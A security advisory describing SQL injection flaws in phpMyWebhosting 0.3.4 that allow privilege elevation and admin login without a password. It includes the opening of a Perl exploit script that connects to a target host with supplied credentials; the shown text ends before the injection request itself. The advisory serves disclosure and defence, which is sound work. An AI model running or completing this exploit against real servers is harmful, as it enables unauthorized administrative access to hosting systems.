phpMyWebhosting SQL Injection Vulnerabilities
------------------------------------------------------------------------
SUMMARY
<http://pmwhwiki.cs-ol.de/tiki-index.php>; phpMyWebhosting, "allows you to
lease out parts of your web server and mail server without needing to give
anyone console access".
Multiple SQL injection has been found in phpMyWebhosting that allow
attackers to gain elevated privileges as well as enter to the product's
management system without knowing the administrative password.
DETAILS
Vulnerable Systems:
* phpMyWebhosting version 0.3.4
phpMyWebhosting takes no care to verifying incoming user input for
arbitrary SQL statements. This means that if you have disabled
magic_quotes_gpc in your PHP settings, a remote attacker can cause SQL
injection vulnerability in phpMyWebhosting.
Exploit:
#!/usr/bin/perl
# Exploit code by Noam Rathaus of Beyond Security Ltd.
# The following exploit code will use a valid username and password
combination, to cause an SQL injection.
# Using the SQL injection, the Perl script elevates the privileges of the
user provided to administrative.
use IO::Socket;
use strict;
my $Host = shift;
my $Path = shift;
my $Username = shift;
my $Password = shift;
if ($Host eq "" || $Path eq "" || $Username eq "" || $Password eq "")
{
print "You must run the script with the following syntax:\n";
print $0." hostname path username password\n";
exit(0);
}
my $remote = IO::Socket::INET->new ( Proto => "tcp", PeerAddr => $Host,
PeerPort => "80" );
unless ($remote) { die "cannot connect to http daemon on $Host" }
print "connected\n";
$remote->autoflush(1);
